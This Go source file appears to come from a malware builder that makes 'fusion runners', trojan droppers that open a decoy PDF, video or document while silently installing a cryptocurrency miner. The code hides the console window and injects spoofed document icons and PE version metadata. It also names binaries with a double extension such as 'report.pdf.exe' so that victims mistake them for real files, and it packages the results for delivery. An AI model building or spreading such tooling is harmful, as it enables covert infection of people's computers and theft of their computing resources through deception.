package builder import ( "encoding/json" "fmt" "log" "os" "path/filepath" "strings" ) type fusionBuildResult struct { LauncherPath string MediaName string // Legacy fields kept for backward compat — unused in file-fusion mode EncryptedPath string ShortcutPath string } // detectFusionPayloadKind returns "exe" for Windows executables, "file" for everything else. // Every non-exe file (PDF, video, DOC, image, etc.) is opened with the OS default app. func detectFusionPayloadKind(path string) string { if strings.EqualFold(filepath.Ext(path), ".exe") { return "exe" } return "file" } // buildFusionFromRequest builds a fusion runner for the first platform in the request. func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) { platforms := platformsForRequest(req) return h.buildFusionForPlatform(buildDir, payloadPath, workerPath, req, platforms[0]) } // buildFusionForPlatform compiles a fusion runner for a single platform. // Accepts any payload: PDF, video, document, image, or executable. func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) { kind := strings.TrimSpace(req.FusionPayloadKind) if kind == "" { kind = detectFusionPayloadKind(payloadPath) } req.FusionPayloadKind = kind return h.buildFileFusion(buildDir, payloadPath, workerPath, req, platform) } // buildFileFusion builds a universal fusion runner for any file type. // // Delivery modes: // - "embedded": the payload file is compiled directly into the runner binary (best for files < 100 MB) // - "paired" (default): the payload file ships alongside the runner in the ZIP (works for any size) // // The runner, when executed, opens the original file with the OS default application // while silently installing the worker miner in the background. func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) { mode := normalizeFusionMediaMode(req.FusionMediaMode) // Resolve the display name for the payload file mediaName := strings.TrimSpace(req.FusionMediaBaseName) if mediaName == "" { mediaName = filepath.Base(payloadPath) } mediaName = sanitizeFileName(mediaName) // Resolve the runner output name outputName := strings.TrimSpace(req.FusionOutputName) if outputName == "" { outputName = runnerNameForFile(mediaName, platform) } else { // Ensure correct extension for this platform if platform.Ext != "" && !strings.HasSuffix(strings.ToLower(outputName), platform.Ext) { outputName += platform.Ext } else if platform.Ext == "" { outputName = strings.TrimSuffix(outputName, ".exe") } } outputName = sanitizeFileName(outputName) kind := req.FusionPayloadKind if kind == "" { kind = detectFusionPayloadKind(payloadPath) } fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, kind, mode, mediaName) if err != nil { return nil, err } assetsDir := filepath.Join(fusionDir, "assets") // Write worker binary into assets if err := copyFile(workerPath, filepath.Join(assetsDir, "worker")); err != nil { return nil, err } // Write payload according to delivery mode switch mode { case "embedded": // Bake the payload into the runner binary as assets/payload.bin if err := copyFile(payloadPath, filepath.Join(assetsDir, "payload.bin")); err != nil { return nil, err } // Keep legacy placeholders so the embed directive compiles cleanly if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil { return nil, err } if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil { return nil, err } default: // "paired" // Empty placeholders — payload ships alongside the runner in the ZIP if err := os.WriteFile(filepath.Join(assetsDir, "payload.bin"), []byte{}, 0644); err != nil { return nil, err } if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil { return nil, err } if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil { return nil, err } } // Write manifest for the runner to read at runtime manifestFields := map[string]string{ "payload_kind": kind, "media_mode": mode, "media_file_name": mediaName, } if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil { return nil, err } launcherPath, _ := filepath.Abs(filepath.Join(buildDir, platform.Label(), outputName)) ldflags := ldflagsFor(req, platform) // Force GUI subsystem (no console window) for all fusion runners if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") { ldflags += " -H windowsgui" } if _, err := h.compileGoProjectPlatform(fusionDir, launcherPath, ldflags, nil, false, platform); err != nil { return nil, err } // Windows: inject the system icon + spoofed PE version info so the runner // looks exactly like the real file type (PDF icon, Word icon, etc.) if platform.GOOS == "windows" && kind != "exe" { payloadExt := strings.ToLower(filepath.Ext(mediaName)) if err := h.applyDocumentDisguise(payloadExt, launcherPath); err != nil { // Non-fatal — runner still works without the disguise log.Printf("[Disguise] skipped for %s: %v", filepath.Base(launcherPath), err) } } return &fusionBuildResult{ LauncherPath: launcherPath, MediaName: mediaName, }, nil } // prepareFusionProject copies the fusion source into a temp build dir with baked constants. func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) { fusionSrc := filepath.Join(h.projectRoot, "fusion") if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil { return "", fmt.Errorf("fusion source missing at %s", fusionSrc) } fusionDir := filepath.Join(buildDir, "fusion") assetsDir := filepath.Join(fusionDir, "assets") if err := os.MkdirAll(assetsDir, 0755); err != nil { return "", err } mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go")) if err != nil { return "", err } mainOut := patchFusionMain(mainSrc, runOrder, payloadKind, mediaMode, mediaFileName) if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), mainOut, 0644); err != nil { return "", err } for _, name := range []string{ "go.mod", "launch_windows.go", "launch_stub.go", "media_windows.go", "media_linux.go", "media_darwin.go", "media_crypto.go", "cache_windows.go", "cache_unix.go", "lock_hint_windows.go", "lock_hint_stub.go", } { src := filepath.Join(fusionSrc, name) if _, err := os.Stat(src); err != nil { continue } if err := copyFile(src, filepath.Join(fusionDir, name)); err != nil { return "", err } } return fusionDir, nil } func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName string) []byte { order := normalizeFusionOrder(runOrder) out := string(src) repl := map[string]string{ `const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order), `const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind), `const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode), `const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName), } for old, new := range repl { out = strings.Replace(out, old, new, 1) } return []byte(out) } func writeFusionManifest(assetsDir, payloadKind, mediaMode, mediaFileName string) error { return writeFusionManifestEx(assetsDir, map[string]string{ "payload_kind": payloadKind, "media_mode": mediaMode, "media_file_name": mediaFileName, }) } func writeFusionManifestEx(assetsDir string, fields map[string]string) error { raw, err := json.Marshal(fields) if err != nil { return err } return os.WriteFile(filepath.Join(assetsDir, "manifest.json"), raw, 0644) } func normalizeFusionMediaMode(mode string) string { switch strings.ToLower(strings.TrimSpace(mode)) { case "embedded": return "embedded" default: return "paired" } } // runnerNameForFile generates the output runner binary name for a given payload filename. // // On Windows, non-exe payloads use the double-extension trick: // // "quarterly-report.pdf" → "quarterly-report.pdf.exe" // // When Windows hides known file extensions (the OS default), the user sees // "quarterly-report.pdf" with the injected PDF icon — visually identical to the // real document. After applyDocumentDisguise runs, the PE metadata also matches. // // On Linux/macOS the runner uses a simple "-runner" suffix (these platforms // wrap the binary in a .app bundle or the user is expected to chmod+x it). func runnerNameForFile(mediaName string, platform BuildPlatform) string { ext := strings.ToLower(filepath.Ext(mediaName)) base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName)) if base == "" { base = "runner" } if platform.GOOS == "windows" { // Use disguisedRunnerName which handles double-extension and sanitisation return disguisedRunnerName(mediaName) } // Linux / macOS: simple "-runner" name, no double extension name := sanitizeFileName(base + "-runner") _ = ext // extension not needed for Unix names if platform.Ext != "" { return name + platform.Ext } return name } // fusionExportSubdir returns the output subfolder name for the deliverable. func fusionExportSubdir(req *BuildRequest, mediaName string) string { if s := strings.TrimSpace(req.FusionExportSubdir); s != "" { return sanitizeDirName(s) } base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName)) if base == "" { base = strings.TrimSuffix(filepath.Base(req.FusionOutputName), filepath.Ext(req.FusionOutputName)) } if base == "" { base = sanitizeFileName(req.WorkerName) } return sanitizeDirName(base) } func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) { subdir = sanitizeDirName(subdir) if subdir == "" || h.projectRoot == "" || h.projectRoot == "." { return "", nil } destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir) if err := os.MkdirAll(destDir, 0755); err != nil { return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err) } for name, src := range artifacts { if src == "" { continue } dest := filepath.Join(destDir, sanitizeFileName(name)) if err := copyFile(src, dest); err != nil { return "", fmt.Errorf("failed to export %s: %w", name, err) } } readmePath := filepath.Join(destDir, "README.txt") if err := os.WriteFile(readmePath, []byte(formatFusionReadme(readme)), 0644); err != nil { return "", fmt.Errorf("failed to write README.txt: %w", err) } log.Printf("[Builder] Fusion deliverables -> %s", destDir) return destDir, nil } func sanitizeDirName(name string) string { name = strings.TrimSpace(name) if name == "" { return "" } name = filepath.Base(name) var b strings.Builder for _, r := range name { switch { case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '-', r == '_', r == ' ', r == '.': if r == ' ' { b.WriteRune('_') } else { b.WriteRune(r) } } } out := strings.Trim(b.String(), "._") if out == "" { return "title" } return out }